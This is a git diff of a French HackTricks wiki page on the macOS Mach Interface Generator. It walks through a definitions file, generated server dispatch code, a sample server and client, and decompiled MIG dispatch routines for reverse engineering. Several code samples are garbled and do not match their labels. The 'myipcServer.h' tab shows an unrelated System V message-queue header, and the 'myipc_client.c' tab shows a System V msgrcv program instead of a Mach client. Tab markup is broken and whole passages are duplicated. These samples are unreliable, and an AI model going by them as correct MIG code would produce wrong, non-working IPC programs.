|
|
||||||
char mtext[MAX_TEXT_SIZE];
|
|
||||||
};
|
|
||||||
|
|
||||||
int createMessageQueue(key_t key);
|
|
||||||
int sendMessage(int msqid, struct mymsgbuf *msg, size_t msgsz);
|
|
||||||
int receiveMessage(int msqid, struct mymsgbuf *msg, size_t msgsz, long mtype);
|
|
||||||
int deleteMessageQueue(int msqid);
|
|
||||||
|
|
||||||
#endif /* MYIPCSERVER_H */
|
|
||||||
```
|
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="myipcServer.c" %}
|
|
||||||
```c
|
|
||||||
/* Description of this subsystem, for use in direct RPC */
|
|
||||||
extern const struct SERVERPREFmyipc_subsystem {
|
|
||||||
mig_server_routine_t server; /* Server routine */
|
|
||||||
mach_msg_id_t start; /* Min routine number */
|
|
||||||
mach_msg_id_t end; /* Max routine number + 1 */
|
|
||||||
unsigned int maxsize; /* Max msg size */
|
|
||||||
vm_address_t reserved; /* Reserved */
|
|
||||||
struct routine_descriptor /* Array of routine descriptors */
|
|
||||||
routine[1];
|
|
||||||
} SERVERPREFmyipc_subsystem;
|
|
||||||
```
|
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
Basé sur la structure précédente, la fonction **`myipc_server_routine`** recevra l'**ID du message** et renverra la fonction appropriée à appeler :
|
|
||||||
```c
|
|
||||||
mig_external mig_routine_t myipc_server_routine
|
|
||||||
(mach_msg_header_t *InHeadP)
|
|
||||||
{
|
|
||||||
int msgh_id;
|
|
||||||
|
|
||||||
msgh_id = InHeadP->msgh_id - 500;
|
|
||||||
|
|
||||||
if ((msgh_id > 0) || (msgh_id < 0))
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
Dans cet exemple, nous avons seulement défini une fonction dans les définitions, mais si nous en avions défini davantage, elles auraient été incluses dans le tableau **`SERVERPREFmyipc_subsystem`** et la première serait assignée à l'ID **500**, la deuxième à l'ID **501**...
|
|
||||||
|
|
||||||
En réalité, il est possible d'identifier cette relation dans la structure **`subsystem_to_name_map_myipc`** de **`myipcServer.h`**:
|
|
||||||
```c
|
|
||||||
#ifndef subsystem_to_name_map_myipc
|
|
||||||
#define subsystem_to_name_map_myipc \
|
|
||||||
{ "Subtract", 500 }
|
|
||||||
#endif
|
|
||||||
```
|
|
||||||
Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va réellement **appeler la fonction** liée à l'identifiant reçu :
|
|
||||||
|
|
||||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
|
||||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
|
||||||
{
|
|
||||||
/*
|
|
||||||
* typedef struct {
|
|
||||||
* mach_msg_header_t Head;
|
|
||||||
* NDR_record_t NDR;
|
|
||||||
* kern_return_t RetCode;
|
|
||||||
* } mig_reply_error_t;
|
|
||||||
*/
|
|
||||||
|
|
||||||
mig_routine_t routine;
|
|
||||||
|
|
||||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
|
||||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
|
||||||
/* Taille minimale : routine() la mettra à jour si elle est différente */
|
|
||||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
|
||||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
|
||||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
|
||||||
OutHeadP->msgh_reserved = 0;
|
|
||||||
|
|
||||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
|
||||||
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
|
||||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
|
||||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
<strong> (*routine) (InHeadP, OutHeadP);
|
|
||||||
</strong> return TRUE;
|
|
||||||
}
|
|
||||||
</code></pre>
|
|
||||||
|
|
||||||
Vérifiez le code suivant pour utiliser le code généré afin de créer un serveur et un client simples où le client peut appeler les fonctions Subtract du serveur :
|
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="myipc_server.c" %}
|
|
||||||
```c
|
|
||||||
// gcc myipc_server.c myipcServer.c -o myipc_server
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <mach/mach.h>
|
|
||||||
#include <servers/bootstrap.h>
|
|
||||||
#include "myipcServer.h"
|
|
||||||
|
|
||||||
kern_return_t SERVERPREFSubtract(mach_port_t server_port, uint32_t n1, uint32_t n2)
|
|
||||||
{
|
|
||||||
printf("Received: %d - %d = %d\n", n1, n2, n1 - n2);
|
|
||||||
return KERN_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
|
|
||||||
mach_port_t port;
|
|
||||||
kern_return_t kr;
|
|
||||||
|
|
||||||
// Register the mach service
|
|
||||||
kr = bootstrap_check_in(bootstrap_port, "xyz.hacktricks.mig", &port);
|
|
||||||
if (kr != KERN_SUCCESS) {
|
|
||||||
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// myipc_server is the function that handles incoming messages (check previous exlpanation)
|
|
||||||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% tab title="myipc_client.c" %}
|
|
||||||
|
|
||||||
```c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/ipc.h>
|
|
||||||
#include <sys/msg.h>
|
|
||||||
|
|
||||||
#define MAX_TEXT 512
|
|
||||||
|
|
||||||
struct mymsg {
|
|
||||||
long int msg_type;
|
|
||||||
char text[MAX_TEXT];
|
|
||||||
};
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
int msgid;
|
|
||||||
struct mymsg data;
|
|
||||||
long int msg_to_receive = 0;
|
|
||||||
|
|
||||||
// Create the message queue
|
|
||||||
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
|
|
||||||
if (msgid == -1) {
|
|
||||||
fprintf(stderr, "msgget failed\n");
|
|
||||||
exit(EXIT_FAILURE);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Receive the message
|
|
||||||
if (msgrcv(msgid, (void *)&data, MAX_TEXT, msg_to_receive, 0) == -1) {
|
|
||||||
fprintf(stderr, "msgrcv failed\n");
|
|
||||||
exit(EXIT_FAILURE);
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("Received message: %s\n", data.text);
|
|
||||||
|
|
||||||
// Remove the message queue
|
|
||||||
if (msgctl(msgid, IPC_RMID, 0) == -1) {
|
|
||||||
fprintf(stderr, "msgctl(IPC_RMID) failed\n");
|
|
||||||
exit(EXIT_FAILURE);
|
|
||||||
}
|
|
||||||
|
|
||||||
exit(EXIT_SUCCESS);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```c
|
|
||||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
#include <mach/mach.h>
|
|
||||||
#include <servers/bootstrap.h>
|
|
||||||
#include "myipcUser.h"
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
|
|
||||||
// Lookup the receiver port using the bootstrap server.
|
|
||||||
mach_port_t port;
|
|
||||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "xyz.hacktricks.mig", &port);
|
|
||||||
if (kr != KERN_SUCCESS) {
|
|
||||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
printf("Port right name %d\n", port);
|
|
||||||
USERPREFSubtract(port, 40, 2);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
## Analyse binaire
|
|
||||||
|
|
||||||
Comme de nombreux binaires utilisent désormais MIG pour exposer des ports mach, il est intéressant de savoir comment **identifier l'utilisation de MIG** et les **fonctions exécutées par MIG** avec chaque identifiant de message.
|
|
||||||
|
|
||||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) peut analyser les informations MIG d'un binaire Mach-O en indiquant l'identifiant de message et en identifiant la fonction à exécuter :
|
|
||||||
```bash
|
|
||||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
|
||||||
```
|
|
||||||
Il a été mentionné précédemment que la fonction qui se chargera d'**appeler la fonction correcte en fonction de l'ID du message reçu** était `myipc_server`. Cependant, vous n'aurez généralement pas les symboles du binaire (pas de noms de fonctions), il est donc intéressant de **vérifier à quoi ressemble la décompilation** car elle sera toujours très similaire (le code de cette fonction est indépendant des fonctions exposées) :
|
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="myipc_server décompilé 1" %}
|
|
||||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
|
||||||
var_10 = arg0;
|
|
||||||
var_18 = arg1;
|
|
||||||
// Instructions initiales pour trouver les bons pointeurs de fonction
|
|
||||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
|
||||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
|
||||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
|
||||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
|
||||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
|
||||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
|
||||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
|
||||||
rax = *(int32_t *)(var_10 + 0x14);
|
|
||||||
// Appel à sign_extend_64 qui peut aider à identifier cette fonction
|
|
||||||
// Cela stocke dans rax le pointeur de l'appel qui doit être effectué
|
|
||||||
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau des adresses des fonctions)
|
|
||||||
// 0x1f4 = 500 (l'ID de départ)
|
|
||||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
|
||||||
</strong> var_20 = rax;
|
|
||||||
// Si - sinon, si le si renvoie false, tandis que le sinon appelle la bonne fonction et renvoie true
|
|
||||||
<strong> if (rax == 0x0) {
|
|
||||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
|
||||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
|
||||||
var_4 = 0x0;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
// Adresse calculée qui appelle la bonne fonction avec 2 arguments
|
|
||||||
<strong> (var_20)(var_10, var_18);
|
|
||||||
</strong> var_4 = 0x1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
*(var_18 + 0x18) = **_NDR_record;
|
|
||||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
|
||||||
var_4 = 0x0;
|
|
||||||
}
|
|
||||||
rax = var_4;
|
|
||||||
return rax;
|
|
||||||
}
|
|
||||||
</code></pre>
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="myipc_server décompilé 2" %}
|
|
||||||
Il s'agit de la même fonction décompilée dans une version différente de Hopper free :
|
|
||||||
|
|
||||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
|
||||||
r31 = r31 - 0x40;
|
|
||||||
saved_fp = r29;
|
|
||||||
stack[-8] = r30;
|
|
||||||
var_10 = arg0;
|
|
||||||
var_18 = arg1;
|
|
||||||
// Instructions initiales pour trouver les bons pointeurs de fonction
|
|
||||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
|
||||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
|
||||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
|
||||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
|
||||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
|
||||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
|
||||||
r8 = *(int32_t *)(var_10 + 0x14);
|
|
||||||
r8 = r8 - 0x1f4;
|
|
||||||
if (r8 > 0x0) {
|
|
||||||
if (CPU_FLAGS & G) {
|
|
||||||
r8 = 0x1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if ((r8 & 0x1) == 0x0) {
|
|
||||||
r8 = *(int32_t *)(var_10 + 0x14);
|
|
||||||
r8 = r8 - 0x1f4;
|
|
||||||
if (r8 < 0x0) {
|
|
||||||
if (CPU_FLAGS & L) {
|
|
||||||
r8 = 0x1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if ((r8 & 0x1) == 0x0) {
|
|
||||||
r8 = *(int32_t *)(var_10 + 0x14);
|
|
||||||
// 0x1f4 = 500 (l'ID de départ)
|
|
||||||
<strong> r8 = r8 - 0x1f4;
|
|
||||||
</strong> asm { smaddl x8, w8, w9, x10 };
|
|
||||||
r8 = *(r8 + 0x8);
|
|
||||||
var_20 = r8;
|
|
||||||
r8 = r8 - 0x0;
|
|
||||||
if (r8 != 0x0) {
|
|
||||||
if (CPU_FLAGS & NE) {
|
|
||||||
r8 = 0x1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// Même si sinon que dans la version précédente
|
|
||||||
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau des adresses des fonctions)
|
|
||||||
<strong> if ((r8 & 0x1) == 0x0) {
|
|
||||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
|
||||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
|
||||||
var_4 = 0x0;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
// Appel à l'adresse calculée où la fonction devrait être
|
|
||||||
<strong> (var_20)(var_10, var_18);
|
|
||||||
</strong> var_4 = 0x1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
*(var_18 + 0x18) = **0x100004000;
|
|
||||||
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
|
||||||
var_4 = 0x0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
*(var_18 + 0x18) = **0x100004000;
|
|
||||||
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
|
||||||
var_4 = 0x0;
|
|
||||||
}
|
|
||||||
r0 = var_4;
|
|
||||||
return r0;
|
|
||||||
}
|
|
||||||
|
|
||||||
</code></pre>
|
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau des structures **`routine_descriptor`**, le premier élément de la structure est l'adresse où la fonction est implémentée et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0) vous pouvez obtenir 8 octets et cela sera l'**adresse de la fonction** qui sera appelée :
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
Ces données peuvent être extraites [**en utilisant ce script Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||||
|
@ -1588,8 +809,8 @@ Ces données peuvent être extraites [**en utilisant ce script Hopper**](https:/
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
|
@ -0,0 +1,396 @@
|
||||||
|
# Générateur d'interface MIG pour macOS
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il génère essentiellement le code nécessaire pour que le serveur et le client puissent communiquer avec une définition donnée. Même si le code généré est moche, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant.
|
||||||
|
|
||||||
|
### Exemple
|
||||||
|
|
||||||
|
Créez un fichier de définition, dans ce cas avec une fonction très simple :
|
||||||
|
|
||||||
|
{% code title="myipc.defs" %}
|
||||||
|
```cpp
|
||||||
|
subsystem myipc 500; // Arbitrary name and id
|
||||||
|
|
||||||
|
userprefix USERPREF; // Prefix for created functions in the client
|
||||||
|
serverprefix SERVERPREF; // Prefix for created functions in the server
|
||||||
|
|
||||||
|
#include <mach/mach_types.defs>
|
||||||
|
#include <mach/std_types.defs>
|
||||||
|
|
||||||
|
simpleroutine Subtract(
|
||||||
|
server_port : mach_port_t;
|
||||||
|
n1 : uint32_t;
|
||||||
|
n2 : uint32_t);
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Maintenant, utilisez mig pour générer le code serveur et client qui pourra communiquer entre eux pour appeler la fonction Subtract :
|
||||||
|
```bash
|
||||||
|
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||||
|
```
|
||||||
|
Plusieurs nouveaux fichiers seront créés dans le répertoire actuel.
|
||||||
|
|
||||||
|
Dans les fichiers **`myipcServer.c`** et **`myipcServer.h`**, vous pouvez trouver la déclaration et la définition de la structure **`SERVERPREFmyipc_subsystem`**, qui définit essentiellement la fonction à appeler en fonction de l'ID du message reçu (nous avons indiqué un numéro de départ de 500):
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="myipcServer.c" %}
|
||||||
|
```c
|
||||||
|
/* Description of this subsystem, for use in direct RPC */
|
||||||
|
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
||||||
|
myipc_server_routine,
|
||||||
|
500, // start ID
|
||||||
|
501, // end ID
|
||||||
|
(mach_msg_size_t)sizeof(union __ReplyUnion__SERVERPREFmyipc_subsystem),
|
||||||
|
(vm_address_t)0,
|
||||||
|
{
|
||||||
|
{ (mig_impl_routine_t) 0,
|
||||||
|
// Function to call
|
||||||
|
(mig_stub_routine_t) _XSubtract, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__Subtract_t)},
|
||||||
|
}
|
||||||
|
};
|
||||||
|
```
|
||||||
|
{% tab title="myipcServer.h" %}
|
||||||
|
|
||||||
|
```c
|
||||||
|
#ifndef myipcServer_h
|
||||||
|
#define myipcServer_h
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <mach/mach_error.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
#include "myipcServerUser.h"
|
||||||
|
|
||||||
|
#define MACH_PORT_NAME "com.example.myipc"
|
||||||
|
|
||||||
|
kern_return_t myipc_server(mach_port_t server_port);
|
||||||
|
|
||||||
|
#endif /* myipcServer_h */
|
||||||
|
```
|
||||||
|
|
||||||
|
{% endtab %}
|
||||||
|
```c
|
||||||
|
/* Description of this subsystem, for use in direct RPC */
|
||||||
|
extern const struct SERVERPREFmyipc_subsystem {
|
||||||
|
mig_server_routine_t server; /* Server routine */
|
||||||
|
mach_msg_id_t start; /* Min routine number */
|
||||||
|
mach_msg_id_t end; /* Max routine number + 1 */
|
||||||
|
unsigned int maxsize; /* Max msg size */
|
||||||
|
vm_address_t reserved; /* Reserved */
|
||||||
|
struct routine_descriptor /* Array of routine descriptors */
|
||||||
|
routine[1];
|
||||||
|
} SERVERPREFmyipc_subsystem;
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
Basé sur la structure précédente, la fonction **`myipc_server_routine`** recevra l'**ID du message** et renverra la fonction appropriée à appeler :
|
||||||
|
```c
|
||||||
|
mig_external mig_routine_t myipc_server_routine
|
||||||
|
(mach_msg_header_t *InHeadP)
|
||||||
|
{
|
||||||
|
int msgh_id;
|
||||||
|
|
||||||
|
msgh_id = InHeadP->msgh_id - 500;
|
||||||
|
|
||||||
|
if ((msgh_id > 0) || (msgh_id < 0))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Dans cet exemple, nous avons seulement défini une fonction dans les définitions, mais si nous en avions défini davantage, elles auraient été incluses dans le tableau **`SERVERPREFmyipc_subsystem`** et la première serait assignée à l'ID **500**, la deuxième à l'ID **501**...
|
||||||
|
|
||||||
|
En réalité, il est possible d'identifier cette relation dans la structure **`subsystem_to_name_map_myipc`** de **`myipcServer.h`**:
|
||||||
|
```c
|
||||||
|
#ifndef subsystem_to_name_map_myipc
|
||||||
|
#define subsystem_to_name_map_myipc \
|
||||||
|
{ "Subtract", 500 }
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va réellement **appeler la fonction** liée à l'identifiant reçu :
|
||||||
|
|
||||||
|
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||||
|
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
* typedef struct {
|
||||||
|
* mach_msg_header_t Head;
|
||||||
|
* NDR_record_t NDR;
|
||||||
|
* kern_return_t RetCode;
|
||||||
|
* } mig_reply_error_t;
|
||||||
|
*/
|
||||||
|
|
||||||
|
mig_routine_t routine;
|
||||||
|
|
||||||
|
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||||
|
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||||
|
/* Taille minimale : routine() la mettra à jour si elle est différente */
|
||||||
|
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||||
|
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||||
|
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||||
|
OutHeadP->msgh_reserved = 0;
|
||||||
|
|
||||||
|
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||||
|
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||||
|
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||||
|
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
<strong> (*routine) (InHeadP, OutHeadP);
|
||||||
|
</strong> return TRUE;
|
||||||
|
}
|
||||||
|
</code></pre>
|
||||||
|
|
||||||
|
Vérifiez le code suivant pour utiliser le code généré afin de créer un serveur et un client simples où le client peut appeler les fonctions Subtract du serveur :
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="myipc_server.c" %}
|
||||||
|
```c
|
||||||
|
// gcc myipc_server.c myipcServer.c -o myipc_server
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
#include "myipcServer.h"
|
||||||
|
|
||||||
|
kern_return_t SERVERPREFSubtract(mach_port_t server_port, uint32_t n1, uint32_t n2)
|
||||||
|
{
|
||||||
|
printf("Received: %d - %d = %d\n", n1, n2, n1 - n2);
|
||||||
|
return KERN_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
|
||||||
|
mach_port_t port;
|
||||||
|
kern_return_t kr;
|
||||||
|
|
||||||
|
// Register the mach service
|
||||||
|
kr = bootstrap_check_in(bootstrap_port, "xyz.hacktricks.mig", &port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// myipc_server is the function that handles incoming messages (check previous exlpanation)
|
||||||
|
